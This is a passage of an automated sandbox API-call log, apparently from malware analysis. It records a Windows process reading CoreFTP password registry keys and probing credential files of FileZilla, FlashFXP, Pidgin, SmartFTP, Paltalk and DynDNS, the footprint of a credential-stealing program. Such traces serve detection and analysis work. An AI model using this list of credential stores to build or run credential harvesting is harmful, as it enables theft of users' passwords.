Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e174 | out: ppvObject=0x26e174*=0x0) returned 0x80004002 [0065.991] CoGetContextToken (in: pToken=0x26e184 | out: pToken=0x26e184) returned 0x0 [0065.991] WshShell:IUnknown:AddRef (This=0x3dff3c) returned 0x4 [0065.991] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1f8 | out: ppvObject=0x26e1f8*=0x0) returned 0x80004002 [0065.991] WshShell:IUnknown:Release (This=0x3dff3c) returned 0x3 [0065.991] WshShell:IUnknown:Release (This=0x3dff3c) returned 0x2 [0065.991] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0065.991] WshShell:IUnknown:Release (This=0x3dff3c) returned 0x1 [0065.991] CoGetContextToken (in: pToken=0x26e5b8 | out: pToken=0x26e5b8) returned 0x0 [0065.991] WshShell:IUnknown:AddRef (This=0x3dff3c) returned 0x2 [0065.991] WshShell:IUnknown:QueryInterface (in: This=0x3dff3c, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e614 | out: ppvObject=0x26e614*=0x3dff28) returned 0x0 [0065.991] WshShell:IUnknown:Release (This=0x3dff3c) returned 0x2 [0065.992] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dff28, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e610*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e600 | out: rgDispId=0x26e600*=2000) returned 0x0 [0065.992] WshShell:IDispatch:Invoke (in: This=0x3dff28, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660, pExcepInfo=0x26e4f8, puArgErr=0x26e598 | out: pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660*(varType=0x0, wReserved1=0x26, wReserved2=0x537b, wReserved3=0x7400, varVal1=0x80070003, varVal2=0x7e2ac738), pExcepInfo=0x26e4f8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x26e598*=0x26e5e8) returned 0x80020009 [0065.993] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesPW\".") returned 0x4e [0065.993] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0065.995] WshShell:IUnknown:Release (This=0x3dff28) returned 0x1 [0065.997] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e8c8 | out: lpclsid=0x26e8c8*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0065.997] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e738 | out: ppv=0x26e738*=0x3d13c0) returned 0x0 [0065.998] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x0) returned 0x80004002 [0065.998] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5a0 | out: ppvObject=0x26e5a0*=0x3dff6c) returned 0x0 [0065.998] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e344 | out: ppvObject=0x26e344*=0x3dff6c) returned 0x0 [0065.998] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e300 | out: ppvObject=0x26e300*=0x0) returned 0x80004002 [0065.998] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1f4 | out: ppvObject=0x26e1f4*=0x3dff5c) returned 0x0 [0065.998] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dff5c, ppTI=0x26e1ec | out: ppTI=0x26e1ec*=0x7c66b0) returned 0x0 [0065.998] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc | out: ppTypeAttr=0x26e200, pDummy=0x7e2ac3bc) returned 0x0 [0065.998] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7b6a88 [0065.998] WshShell:IUnknown:Release (This=0x3dff5c) returned 0x2 [0065.998] IUnknown:Release (This=0x7c66b0) returned 0x1 [0065.999] WshShell:IUnknown:AddRef (This=0x3dff6c) returned 0x3 [0065.999] CoGetContextToken (in: pToken=0x26e18c | out: pToken=0x26e18c) returned 0x0 [0065.999] CoGetContextToken (in: pToken=0x26e150 | out: pToken=0x26e150) returned 0x0 [0065.999] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e184 | out: ppvObject=0x26e184*=0x779464) returned 0x0 [0065.999] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e1b4 | out: pAptType=0x26e1b4*=3) returned 0x0 [0065.999] IUnknown:Release (This=0x779464) returned 0x1 [0065.999] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e174 | out: ppvObject=0x26e174*=0x0) returned 0x80004002 [0065.999] CoGetContextToken (in: pToken=0x26e184 | out: pToken=0x26e184) returned 0x0 [0065.999] WshShell:IUnknown:AddRef (This=0x3dff6c) returned 0x4 [0065.999] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1f8 | out: ppvObject=0x26e1f8*=0x0) returned 0x80004002 [0065.999] WshShell:IUnknown:Release (This=0x3dff6c) returned 0x3 [0065.999] WshShell:IUnknown:Release (This=0x3dff6c) returned 0x2 [0065.999] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0066.000] WshShell:IUnknown:Release (This=0x3dff6c) returned 0x1 [0066.000] CoGetContextToken (in: pToken=0x26e5b8 | out: pToken=0x26e5b8) returned 0x0 [0066.000] WshShell:IUnknown:AddRef (This=0x3dff6c) returned 0x2 [0066.000] WshShell:IUnknown:QueryInterface (in: This=0x3dff6c, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e614 | out: ppvObject=0x26e614*=0x3dff58) returned 0x0 [0066.000] WshShell:IUnknown:Release (This=0x3dff6c) returned 0x2 [0066.000] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dff58, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e610*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e600 | out: rgDispId=0x26e600*=2000) returned 0x0 [0066.000] WshShell:IDispatch:Invoke (in: This=0x3dff58, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660, pExcepInfo=0x26e4f8, puArgErr=0x26e598 | out: pDispParams=0x26e694*(rgvarg=([0]=0x26e620*(varType=0x4008, wReserved1=0x26, wReserved2=0x8ab3, wReserved3=0x7427, varVal1=0x26e5f0*="HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName", varVal2=0x74278b50)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x26e660*(varType=0x0, wReserved1=0x26, wReserved2=0x537b, wReserved3=0x7400, varVal1=0x80070003, varVal2=0x7e2ac738), pExcepInfo=0x26e4f8*(wCode=0x0, wReserved=0x0, bstrSource="WshShell.RegRead", bstrDescription="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName\".", bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x80070003), puArgErr=0x26e598*=0x26e5e8) returned 0x80020009 [0066.001] SysStringLen (param_1="Invalid root in registry key \"HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSitesName\".") returned 0x50 [0066.002] SysStringLen (param_1="WshShell.RegRead") returned 0x10 [0066.004] WshShell:IUnknown:Release (This=0x3dff58) returned 0x1 [0066.046] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns", nBufferLength=0x105, lpBuffer=0x26e598, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns", lpFilePart=0x0) returned 0x2b [0066.046] GetLastError () returned 0x0 [0066.046] SetErrorMode (uMode=0x1) returned 0x0 [0066.046] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\DynDNS\\Updater\\config.dyndns" (normalized: "c:\\programdata\\dyndns\\updater\\config.dyndns"), fInfoLevelId=0x0, lpFileInformation=0x26ea18 | out: lpFileInformation=0x26ea18*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.046] GetLastError () returned 0x3 [0066.046] SetErrorMode (uMode=0x0) returned 0x1 [0066.090] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0066.090] GetLastError () returned 0x3 [0066.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FileZilla\\recentservers.xml", nBufferLength=0x105, lpBuffer=0x26e458, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FileZilla\\recentservers.xml", lpFilePart=0x0) returned 0x49 [0066.090] GetLastError () returned 0x3 [0066.090] SetErrorMode (uMode=0x1) returned 0x0 [0066.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0066.091] GetLastError () returned 0x3 [0066.093] SetErrorMode (uMode=0x0) returned 0x1 [0066.123] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat", nBufferLength=0x105, lpBuffer=0x26e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat", lpFilePart=0x0) returned 0x36 [0066.123] GetLastError () returned 0x3 [0066.123] SetErrorMode (uMode=0x1) returned 0x0 [0066.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\AppData\\Roaming\\FlashFXP\\3quick.dat" (normalized: "c:\\users\\all users\\appdata\\roaming\\flashfxp\\3quick.dat"), fInfoLevelId=0x0, lpFileInformation=0x26ea2c | out: lpFileInformation=0x26ea2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.123] GetLastError () returned 0x3 [0066.123] SetErrorMode (uMode=0x0) returned 0x1 [0066.165] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x26ea30, lpMaximumComponentLength=0x26ea24, lpFileSystemFlags=0x26ea20, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x26ea30*=0x9c354b42, lpMaximumComponentLength=0x26ea24*=0xff, lpFileSystemFlags=0x26ea20*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0066.165] GetLastError () returned 0x3 [0066.166] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Paltalk", ulOptions=0x0, samDesired=0x20019, phkResult=0x26e9e0 | out: phkResult=0x26e9e0*=0x0) returned 0x2 [0066.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml", nBufferLength=0x105, lpBuffer=0x26e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml", lpFilePart=0x0) returned 0x42 [0066.197] GetLastError () returned 0x3 [0066.197] SetErrorMode (uMode=0x1) returned 0x0 [0066.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\.purple\\accounts.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\.purple\\accounts.xml"), fInfoLevelId=0x0, lpFileInformation=0x26ea2c | out: lpFileInformation=0x26ea2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.198] GetLastError () returned 0x3 [0066.198] SetErrorMode (uMode=0x0) returned 0x1 [0066.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", nBufferLength=0x105, lpBuffer=0x26e564, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFilePart=0x0) returned 0x5a [0066.236] GetLastError () returned 0x3 [0066.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x26e54c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0066.236] GetLastError () returned 0x3 [0066.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x26e47c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0066.236] GetLastError () returned 0x3 [0066.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFindFileData=0x787850 | out: lpFindFileData=0x787850*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0066.237] GetLastError () returned 0x2 [0066.237] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", nBufferLength=0x105, lpBuffer=0x26e47c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData", lpFilePart=0x0) returned 0x25 [0066.237] GetLastError () returned 0x2 [0066.237] SetErrorMode (uMode=0x1) returned 0x0 [0066.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml", lpFindFileData=0x787850 | out: lpFindFileData=0x787850*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0066.237] GetLastError () returned 0x2 [0066.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\", nBufferLength=0x105, lpBuffer=0x26e5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\", lpFilePart=0x0) returned 0x5a [0066.238] GetLastError () returned 0x2 [0066.238] SetErrorMode (uMode=0x1) returned 0x0 [0066.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\smartftp\\client 2.0\\favorites\\quick connect"), fInfoLevelId=0x0, lpFileInformation=0x26ea30 | out: lpFileInformation=0x26ea30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0066.238] GetLastError () returned 0x3 [0066.238] SetErrorMode (uMode=0x0) returned 0x1 [0066.266] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x26e890 | out: lpclsid=0x26e890*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0066.267] CoGetClassObject (in: rclsid=0x7cb25c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x740ca3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x26e700 | out: ppv=0x26e700*=0x3d13c0) returned 0x0 [0066.268] WshShell:IUnknown:QueryInterface (in: This=0x3d13c0, riid=0x741b7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e530 | out: ppvObject=0x26e530*=0x0) returned 0x80004002 [0066.268] WshShell:IClassFactory:CreateInstance (in: This=0x3d13c0, pUnkOuter=0x0, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e568 | out: ppvObject=0x26e568*=0x3dff9c) returned 0x0 [0066.268] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e30c | out: ppvObject=0x26e30c*=0x3dff9c) returned 0x0 [0066.268] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e2c8 | out: ppvObject=0x26e2c8*=0x0) returned 0x80004002 [0066.268] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e1bc | out: ppvObject=0x26e1bc*=0x3dff8c) returned 0x0 [0066.268] WshShell:IProvideClassInfo:GetClassInfo (in: This=0x3dff8c, ppTI=0x26e1b4 | out: ppTI=0x26e1b4*=0x7c66b0) returned 0x0 [0066.268] ITypeInfo:RemoteGetTypeAttr (in: This=0x7c66b0, ppTypeAttr=0x26e1c8, pDummy=0x7e2ac074 | out: ppTypeAttr=0x26e1c8, pDummy=0x7e2ac074) returned 0x0 [0066.269] ITypeInfo:LocalReleaseTypeAttr (This=0x7c66b0) returned 0x7a37e0 [0066.269] WshShell:IUnknown:Release (This=0x3dff8c) returned 0x2 [0066.269] IUnknown:Release (This=0x7c66b0) returned 0x1 [0066.269] WshShell:IUnknown:AddRef (This=0x3dff9c) returned 0x3 [0066.269] CoGetContextToken (in: pToken=0x26e154 | out: pToken=0x26e154) returned 0x0 [0066.269] CoGetContextToken (in: pToken=0x26e118 | out: pToken=0x26e118) returned 0x0 [0066.269] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e14c | out: ppvObject=0x26e14c*=0x779464) returned 0x0 [0066.269] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e17c | out: pAptType=0x26e17c*=3) returned 0x0 [0066.269] IUnknown:Release (This=0x779464) returned 0x1 [0066.269] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e13c | out: ppvObject=0x26e13c*=0x0) returned 0x80004002 [0066.269] CoGetContextToken (in: pToken=0x26e14c | out: pToken=0x26e14c) returned 0x0 [0066.270] WshShell:IUnknown:AddRef (This=0x3dff9c) returned 0x4 [0066.270] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x7409767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e1c0 | out: ppvObject=0x26e1c0*=0x0) returned 0x80004002 [0066.270] WshShell:IUnknown:Release (This=0x3dff9c) returned 0x3 [0066.270] WshShell:IUnknown:Release (This=0x3dff9c) returned 0x2 [0066.270] WshShell:IUnknown:Release (This=0x3d13c0) returned 0x0 [0066.270] WshShell:IUnknown:Release (This=0x3dff9c) returned 0x1 [0066.270] CoGetContextToken (in: pToken=0x26e578 | out: pToken=0x26e578) returned 0x0 [0066.270] WshShell:IUnknown:AddRef (This=0x3dff9c) returned 0x2 [0066.270] WshShell:IUnknown:QueryInterface (in: This=0x3dff9c, riid=0x740bf5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e5d4 | out: ppvObject=0x26e5d4*=0x3dff88) returned 0x0 [0066.270] WshShell:IUnknown:Release (This=0x3dff9c) returned 0x2 [0066.270] WshShell:IDispatch:GetIDsOfNames (in: This=0x3dff88, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x26e5d0*="RegRead", cNames=0x1, lcid=0x409, rgDispId=0x26e5c0 | out: rgDispId=0x26e5c0*=2000) returned 0x0 [0066.271] WshShell:IDispatch:Invoke (in: This=0x3dff88, dispIdMember=2000, riid=0x740bf910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x26e65c*(rgvarg=([0]=0x26e5e0*(varType=0x4008, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x26e5b0*="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Commander\\UninstallString", varVal2=0x74278ab3)), 